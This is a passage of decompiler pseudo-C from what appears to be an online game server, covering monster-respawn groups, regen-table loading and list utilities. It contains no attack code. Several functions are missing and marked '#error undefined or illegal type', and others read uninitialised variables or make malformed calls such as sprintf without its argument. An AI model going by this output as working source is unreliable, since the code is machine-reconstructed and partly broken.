) operator delete__(v2); _eh_vector_destructor_iterator_( v1, 0x19B8u, 4096, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::_MobBreederGroup); } // 64C0E0: using guessed type int (__stdcall *List_MobRegenClass__MobBreederGroup____vftable_[3])(__int16 hnd); //----- (0049CF70) -------------------------------------------------------- MobRegenClass::MobBreederGroup *__thiscall MobHatchery::mg_FindBreedGroup(MobHatchery *this, Name3 *map, ORToken groupname) { MobHatchery *v3; // esi@1 MobRegenClass::MobBreederGroup *result; // eax@2 int v5; // ecx@3 unsigned __int16 v6; // ax@3 unsigned __int16 i; // cx@3 int v8; // eax@5 int v9; // eax@6 unsigned int v10; // [sp+0h] [bp-4h]@1 v10 = (unsigned int)&v10 ^ __security_cookie; v3 = this; if ( map ) { v5 = *(_DWORD *)((char *)this + (_DWORD)((char *)&wholesaver + 17755968)); v6 = *(_WORD *)(v5 + 12 * *(_WORD *)((char *)v3 + (_DWORD)((char *)&wholesaver + 17755974)) + 4); for ( i = *(_WORD *)(v5 + 12 * *(_WORD *)(v5 + 12 * *(_WORD *)((char *)v3 + (_DWORD)((char *)&wholesaver + 17755974)) + 4) + 4); v6 < *(_WORD *)((char *)v3 + (_DWORD)((char *)&wholesaver + 17755964)); i = *(_WORD *)(*(_DWORD *)((char *)v3 + (_DWORD)((char *)&wholesaver + 17755968)) + 12 * i + 4) ) { v8 = *(_DWORD *)((char *)v3 + (_DWORD)((char *)&wholesaver + 17755968)) + 12 * v6; if ( !*(_BYTE *)(v8 + 8) ) break; v9 = *(_DWORD *)v8; if ( !v9 ) break; if ( *(_DWORD *)&map->n3_name[0] == *(_DWORD *)(v9 + 6493) && *(_DWORD *)&map->n3_name[4] == *(_DWORD *)(v9 + 6497) && *(_DWORD *)&map->n3_name[8] == *(_DWORD *)(v9 + 6501) && *(_DWORD *)&groupname == *(_DWORD *)(v9 + 6424) && *(_DWORD *)&groupname.ort_Name[4] == *(_DWORD *)(v9 + 6428) && *(_DWORD *)&groupname.ort_Name[8] == *(_DWORD *)(v9 + 6432) && *(_DWORD *)&groupname.ort_Name[12] == *(_DWORD *)(v9 + 6436) && *(_DWORD *)&groupname.ort_Name[16] == *(_DWORD *)(v9 + 6440) ) break; if ( i >= *(_WORD *)((char *)v3 + (_DWORD)((char *)&wholesaver + 17755964)) ) break; v6 = i; } __security_check_cookie((unsigned int)&v10 ^ v10); } else { __security_check_cookie((unsigned int)&v10 ^ v10); } return result; } //----- (0049D080) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreeder::mb_SetLeader(void *this, int a2) { void *v2; // esi@1 int v3; // eax@1 int i; // ecx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetLeader"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_SetLeader"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = a2; for ( i = *(_DWORD *)(a2 + 92); i; i = *(_DWORD *)(i + 92) ) v3 = i; *(_DWORD *)(v3 + 92) = v2; *((_DWORD *)v2 + 22) = v3; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetLeader"); } //----- (0049D0F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_SetBrain(void *this) { void *v1; // esi@1 int v2; // eax@1 signed int v3; // eax@5 int v4; // ecx@7 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SetBrain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_SetBrain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 2289); if ( v2 == 6 ) v2 = *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1914) + 4) + 45); switch ( v2 ) { case 0: *((_DWORD *)v1 + 2097) = (*(int (__thiscall **)(char *, void *, char *))(*((_DWORD *)v1 + 2015) + 16))( (char *)v1 + 8060, v1, (char *)v1 + 7716); break; case 1: v3 = *(_DWORD *)(**((_DWORD **)v1 + 1914) + 99); if ( v3 < 20 || v3 > 21 ) v4 = (int)((char *)v1 + 8084); else v4 = (int)((char *)v1 + 8276); goto LABEL_8; case 2: v4 = (int)((char *)v1 + 8140); goto LABEL_8; case 3: v4 = (int)((char *)v1 + 8164); goto LABEL_8; case 4: v4 = (int)((char *)v1 + 8220); goto LABEL_8; case 5: v4 = (int)((char *)v1 + 8332); LABEL_8: *((_DWORD *)v1 + 2097) = (*(int (__stdcall **)(void *, char *))(*(_DWORD *)v4 + 16))(v1, (char *)v1 + 7716); break; default: *((_DWORD *)v1 + 2097) = (*(int (__thiscall **)(char *, void *, char *))(*((_DWORD *)v1 + 2015) + 16))( (char *)v1 + 8060, v1, (char *)v1 + 7716); AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_SetBrain Not Case EnemyDetectType", *(_DWORD *)(*(_DWORD *)(*((_DWORD *)v1 + 1914) + 4) + 45)); break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_SetBrain"); } //----- (0049D270) -------------------------------------------------------- void __thiscall KQRegenTable::_KQRegenTable(KQRegenTable *this) { void *v1; // ebp@1 OptionReader **v2; // edi@1 signed int v3; // ebx@1 void *v4; // esi@2 v1 = this; v2 = &this->kqrt_Array[0].or; v3 = 50; do { v4 = *v2; if ( *v2 ) { OptionReader::_OptionReader(*v2); operator delete(v4); } v2 += 4; --v3; } while ( v3 ); _eh_vector_destructor_iterator_( v1, 0x10u, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0049D2F0) -------------------------------------------------------- void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this, char *fname) { char *v2; // eax@1 KQRegenTable *v3; // esi@1 char v4; // cl@2 signed int v5; // ecx@3 char v6; // al@4 int v7; // eax@9 void *v8; // eax@12 OptionReader *v9; // eax@13 int v10; // ST10_4@19 unsigned int v11; // ST04_4@19 void *v12; // [sp+8h] [bp-194h]@1 char path[128]; // [sp+Ch] [bp-190h]@15 char buffer[256]; // [sp+8Ch] [bp-110h]@2 unsigned int v15; // [sp+18Ch] [bp-10h]@1 int v16; // [sp+198h] [bp-4h]@12 v15 = (unsigned int)&v12 ^ __security_cookie; v2 = fname; v3 = this; do { v4 = *v2; v2[buffer - fname] = *v2; ++v2; } while ( v4 ); v5 = 0; do { v6 = buffer[v5]; if ( !v6 ) break; if ( v6 == 46 ) { buffer[v5] = 0; break; } ++v5; } while ( v5 < 256 ); v7 = v3->kqrt_Number; v12 = (void *)((unsigned int)v7 < 0x32); if ( (unsigned int)v7 >= 0x32 ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Too many kq regen table", v7); ShineExit("KQRegenTable::kqrt_Load"); } v8 = operator new(0x10854u); v12 = v8; v16 = 0; if ( v8 ) OptionReader::OptionReader((OptionReader *)v8); else v9 = 0; v3->kqrt_Array[v3->kqrt_Number].or = v9; v16 = -1; sprintf(path, "../9Data/Hero/MobRegen/KingdomQuest/%s.txt"); if ( !OptionReader::or_Read(v3->kqrt_Array[v3->kqrt_Number].or, path) ) { sprintf(path, "../9Data/Hero/MobRegen/Instant/%s.txt"); if ( !OptionReader::or_Read(v3->kqrt_Array[v3->kqrt_Number].or, path) ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Error found", path); ShineExit("KQRegenTable::kqrt_Load"); } } v10 = (int)((char *)v3 + 16 * v3->kqrt_Number); *(_DWORD *)(v10 + 8) = 0; *(_DWORD *)(v10 + 4) = 0; *(_DWORD *)v10 = 0; strncpy((char *)v10, buffer, 0xCu); v11 = v3->kqrt_Number + 1; v3->kqrt_Number = v11; qsort(v3, v11, 0x10u, KQRegenTable::Element::Comp); __security_check_cookie((unsigned int)&v12 ^ v15); } //----- (0049D4D0) -------------------------------------------------------- #error "49D4D0: undefined or illegal type '#734' (funcsize=76)" //----- (0049D610) -------------------------------------------------------- #error "49D610: undefined or illegal type '#734' (funcsize=126)" //----- (0049D7E0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, #1429 *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, (const void *)ele, 0x64u); return 1; } // 49D7F5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0049D810) -------------------------------------------------------- std::mem_fun_ref_t *__cdecl std::for_each>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::mem_fun_ref_t _Func) { std::vector >::iterator v4; // esi@1 std::mem_fun_ref_t *v5; // eax@3 v4 = _First; if ( _First == _Last ) { v5 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = _Func; } else { do { (*(void (__thiscall **)(_DWORD))&_Func)(v4); *(_DWORD *)&v4 += 6; } while ( v4 != _Last ); v5 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = _Func; } return v5; } //----- (0049D850) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy_backward(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest) { FamilyMobManagement::MobSpeciesSlot *v3; // ecx@1 FamilyMobManagement::MobSpeciesSlot *result; // eax@1 v3 = _Last; for ( result = _Dest; v3 != _First; result->mss_Killed = v3->mss_Killed ) { --v3; --result; *(_DWORD *)&result->mss_Species = *(_DWORD *)&v3->mss_Species; } return result; } //----- (0049D890) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__cdecl std::copy(FamilyMobManagement::MobSpeciesSlot *_First, FamilyMobManagement::MobSpeciesSlot *_Last, FamilyMobManagement::MobSpeciesSlot *_Dest) { FamilyMobManagement::MobSpeciesSlot *v3; // ecx@1 FamilyMobManagement::MobSpeciesSlot *result; // eax@1 FamilyMobManagement::MobSpeciesSlot *v5; // edi@2 unsigned __int16 v6; // si@2 v3 = _First; for ( result = _Dest; v3 != _Last; v5->mss_Killed = v6 ) { v5 = result; *(_DWORD *)&result->mss_Species = *(_DWORD *)&v3->mss_Species; v6 = v3->mss_Killed; ++v3; ++result; } return result; } //----- (0049D8D0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0049D920) -------------------------------------------------------- #error "49D920: undefined or illegal type '#593' (funcsize=210)" //----- (0049DBE0) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(MobRegenClass::MobBreederGroup *this, char bNextRegen) { int (__stdcall **Regeniter)(int, __int16); // [sp+0h] [bp-14h]@1 char v4; // [sp+4h] [bp-10h]@1 int v5; // [sp+10h] [bp-4h]@1 Regeniter = &MobBreedRegenEnable::_vftable_; v4 = bNextRegen; v5 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&Regeniter); return 1; } // 64C2A4: using guessed type int (__stdcall *MobBreedRegenEnable___vftable_)(int, __int16 handle); //----- (0049DC30) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::mbg_RegenFromLua(MobRegenClass::MobBreederGroup *this) { MobRegenClass::MobBreederGroup *v1; // ebx@1 unsigned __int16 v2; // si@1 unsigned __int16 v3; // di@2 int v4; // ecx@3 int v5; // eax@3 bool v6; // cf@3 int v7; // eax@4 int v8; // eax@5 v1 = this; v2 = *(_WORD *)(*((_DWORD *)this + 2) + 12 * *((_WORD *)this + 7) + 4); while ( 1 ) { v3 = *((_WORD *)v1 + 2); if ( v2 >= v3 ) break; v4 = *((_DWORD *)v1 + 2); v5 = v2; v6 = v2 < v3; v2 = *(_WORD *)(v4 + 12 * v2 + 4); if ( v6 ) { v7 = v4 + 12 * v5; if ( *(_BYTE *)(v7 + 8) ) { v8 = *(_DWORD *)v7; if ( v8 ) MobRegenClass::MobBreeder::mb_regen(v8, v8); } } } } // 49D920: using guessed type int __thiscall MobRegenClass__MobBreeder__mb_regen(_DWORD, _DWORD); //----- (0049DC90) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreeder::mb_Set(void *this, int grp, __int16 mobid, int regensec, int regenCount) { void *v5; // ebx@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Set"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_Set"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v5 = grp; *((_WORD *)v5 + 3) = mobid; *((_DWORD *)v5 + 2) = -1; memcpy((char *)v5 + 12, (const void *)regensec, 0x30u); v6 = *((_DWORD *)v5 + 3); *((_BYTE *)v5 + 68) = 1; *((_DWORD *)v5 + 16) = 10 * *(_DWORD *)(regensec + 28); *((_DWORD *)v5 + 21) = regenCount; *((_DWORD *)v5 + 18) = v6; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetBrain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_SetBrain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetBrain"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_Set"); return 1; } //----- (0049DDA0) -------------------------------------------------------- void __thiscall KQRegenTable::kqrt_Load(KQRegenTable *this) { KQRegenTable *v1; // edi@1 int v2; // esi@1 int v3; // esi@6 int buffer; // [sp+8h] [bp-11Ch]@1 int fname; // [sp+1Ch] [bp-108h]@4 unsigned int v6; // [sp+120h] [bp-4h]@1 v6 = (unsigned int)&buffer ^ __security_cookie; v1 = this; v2 = _findfirst("../9Data/Hero/MobRegen/KingdomQuest/*.txt", (_finddata_t *)&buffer); if ( v2 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Path Invalid", 0); ShineExit("KQRegenTable::kqrt_Load"); } KQRegenTable::kqrt_Load(v1, (char *)&fname); while ( !_findnext(v2, (_finddata_t *)&buffer) ) KQRegenTable::kqrt_Load(v1, (char *)&fname); _findclose(v2); v3 = _findfirst("../9Data/Hero/MobRegen/Instant/*.txt", (_finddata_t *)&buffer); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "KQRegenTable::kqrt_Load : Path Invalid", 1); ShineExit("KQRegenTable::kqrt_Load"); } KQRegenTable::kqrt_Load(v1, (char *)&fname); while ( !_findnext(v3, (_finddata_t *)&buffer) ) KQRegenTable::kqrt_Load(v1, (char *)&fname); _findclose(v3); } //----- (0049DEE0) -------------------------------------------------------- #error "49DEE0: undefined or illegal type '#734' (funcsize=129)" //----- (0049E100) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_RegenList(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle) { MobRegenClass::MobBreederGroup *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_RegenList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_RegenList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_QWORD *)((char *)v3 + 6493) == *(_QWORD *)&RegenReadyMobListMap && *(_DWORD *)((char *)v3 + 6501) == *(_DWORD *)&RegenReadyMobListMap.n3_name[8] ) List::l_4AllInList( (List *)v3, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))&MobRegenClass::MobBreeder::mb_RegenList); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_RegenList"); return 1; } //----- (0049E1D0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, MobRegenClass::MobBreederGroup *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); MobRegenClass::MobBreederGroup::operator_(v3, (int)ele); return 1; } // 49E1E5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0049E200) -------------------------------------------------------- int __thiscall MobRegenClass::MobBreederGroup::operator_(int this, int a2) { int v2; // edx@1 int result; // eax@1 void *v4; // ebx@1 signed int v5; // [sp+14h] [bp+4h]@1 v2 = a2; result = this; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_WORD *)(this + 20) = *(_WORD *)(a2 + 20); v4 = (void *)(this + 24); v5 = 64; do { memcpy(v4, (char *)v4 + v2 - this, 0x64u); v4 = (char *)v4 + 100; --v5; } while ( v5 ); *(_DWORD *)(this + 6424) = *(_DWORD *)(v2 + 6424); *(_DWORD *)(this + 6428) = *(_DWORD *)(v2 + 6428); *(_DWORD *)(this + 6432) = *(_DWORD *)(v2 + 6432); *(_DWORD *)(this + 6436) = *(_DWORD *)(v2 + 6436); *(_DWORD *)(this + 6440) = *(_DWORD *)(v2 + 6440); *(_BYTE *)(this + 6444) = *(_BYTE *)(v2 + 6444); memcpy((void *)(this + 6445), (const void *)(v2 + 6445), 0x3Cu); *(_DWORD *)(this + 6508) = *(_DWORD *)(v2 + 6508); *(_DWORD *)(this + 6512) = *(_DWORD *)(v2 + 6512); *(_DWORD *)(this + 6516) = *(_DWORD *)(v2 + 6516); *(_DWORD *)(this + 6520) = *(_DWORD *)(v2 + 6520); *(_DWORD *)(this + 6524) = *(_DWORD *)(v2 + 6524); memcpy((void *)(this + 6528), (const void *)(v2 + 6528), 0x38u); return result; } //----- (0049E360) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, MobRegenClass::MobBreederGroup *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); MobRegenClass::MobBreederGroup::operator_(v3, (int)ele); return 1; } // 49E376: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (0049E390) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, MobRegenClass::MobBreederGroup *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MobRegenClass::MobBreederGroup::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0049E3E0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, MobRegenClass::MobBreederGroup *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; MobRegenClass::MobBreederGroup::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (0049E430) -------------------------------------------------------- #error "49E430: undefined or illegal type '#1429' (funcsize=88)" //----- (0049E550) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (0049E5A0) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__cdecl std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::const_iterator v5; // ecx@1 FamilyMobManagement::MobSpeciesSlot *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { *(_DWORD *)&result->mss_Species = **(_DWORD **)&v5; result->mss_Killed = *(_WORD *)(*(_DWORD *)&v5 + 4); } *(_DWORD *)&v5 += 6; } return result; } //----- (0049E5E0) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::mbg_ScriptDataStore(MobRegenClass::MobBreederGroup *this, MobRegenStruct::RegenMobStruct *data, ORToken *aitype) { int v3; // ebp@1 const char *v4; // ebx@1 unsigned int v5; // eax@1 signed __int16 v6; // di@1 int v7; // eax@5 void *v8; // esi@7 int hnd; // [sp+10h] [bp-14h]@0 unsigned int aitypea; // [sp+2Ch] [bp+8h]@5 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((void *)(v3 + 6445), &data->rms_regen, 0x30u); *(_QWORD *)(v3 + 6508) = *(_QWORD *)&aitype->ort_Name[0]; *(_QWORD *)(v3 + 6516) = *(_QWORD *)&aitype->ort_Name[8]; v4 = data->rms_mobname; *(_DWORD *)(v3 + 6524) = *(_DWORD *)&aitype->ort_Name[16]; v5 = BTree::operator__(&mobdatabox.mdb_btree, data->rms_mobname); v6 = -1; if ( v5 != -1 ) v6 = v5; if ( MobDataBox::operator__(&mobdatabox, v6) ) { HIWORD(v7) = HIWORD(data); aitypea = 0; if ( data->rms_Number ) { while ( 1 ) { LOWORD(v7) = *(_WORD *)(v3 + 12); if ( (_WORD)v7 == -1 ) { v8 = 0; } else { hnd = v7; v8 = (void *)(*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 4))(v3, v7); } if ( !v8 ) break; if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore : Wrong mob name", v4); v6 = 1; } if ( !MobRegenClass::MobBreeder::mb_Set(v8, v3, v6, (int)&data->rms_regen, 1) ) (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 8))(v3, hnd); if ( *(_BYTE *)(v3 + 6444) == 89 ) { if ( *(_DWORD *)(v3 + 6576) ) MobRegenClass::MobBreeder::mb_SetLeader(v8, *(_DWORD *)(v3 + 6576)); else *(_DWORD *)(v3 + 6576) = v8; } v7 = aitypea++ + 1; if ( aitypea >= data->rms_Number ) goto LABEL_21; } AssertClass::ac_AssertFail( &shineassert, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore : Too many mob in regengroup", 0); } } else { AssertClass::ac_AssertFail(&shineassert, "MobBreeder::mbg_ScriptDataStore : Invalid mob name", v4); } LABEL_21: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore"); } //----- (0049E7D0) -------------------------------------------------------- void __thiscall MobHatchery::mh_View(MobHatchery *this, #734 *sp) { MobHatchery *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_View"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_View"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; invaster = sp; List::l_4AllInList( (List *)((char *)v2 + (_DWORD)((char *)&wholesaver + 17755960)), (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))MobRegenClass::MobBreederGroup::mbg_View); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_View"); } //----- (0049E880) -------------------------------------------------------- #error "49E880: undefined or illegal type '#734' (funcsize=42)" //----- (0049E950) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0049EA70) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(FamilyMobManagement::MobSpeciesSlot *_First, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 FamilyMobManagement::MobSpeciesSlot *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->mss_Species = *(_DWORD *)&_Val->mss_Species; v6->mss_Killed = _Val->mss_Killed; } ++v6; --v5; } while ( v5 ); } } //----- (0049EAB0) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::MobBreederGroup(MobRegenClass::MobBreederGroup *this) { MobRegenClass::MobBreederGroup *v1; // esi@1 int v2; // edi@1 unsigned int v3; // ebx@1 int v4; // eax@3 signed int i; // [sp+10h] [bp-14h]@1 v1 = this; *(_DWORD *)this = List::_vftable_; *((_DWORD *)this + 4) = 0; List::l_MakeList((List *)this, 0x40u); v2 = (int)((char *)v1 + 24); *(_DWORD *)v1 = MobRegenClass::MobBreederGroup::_vftable_; _eh_vector_constructor_iterator_( (char *)v1 + 24, 0x64u, 64, (void (__thiscall *)(void *))MobRegenClass::MobBreeder::MobBreeder, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *((_DWORD *)v1 + 1610) = 0; *((_DWORD *)v1 + 1609) = 0; *((_DWORD *)v1 + 1608) = 0; *((_DWORD *)v1 + 1607) = 0; *((_DWORD *)v1 + 1606) = 0; *(_DWORD *)((char *)v1 + 6501) = 0; *(_DWORD *)((char *)v1 + 6497) = 0; *(_DWORD *)((char *)v1 + 6493) = 0; *((_DWORD *)v1 + 1631) = 0; *((_DWORD *)v1 + 1630) = 0; *((_DWORD *)v1 + 1629) = 0; *((_DWORD *)v1 + 1628) = 0; *((_DWORD *)v1 + 1627) = 0; i = 0; v3 = 0; do { if ( i < *((_WORD *)v1 + 2) ) { v4 = *((_DWORD *)v1 + 2) + v3; if ( !*(_DWORD *)v4 ) *(_DWORD *)v4 = v2; } FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetGroup"); 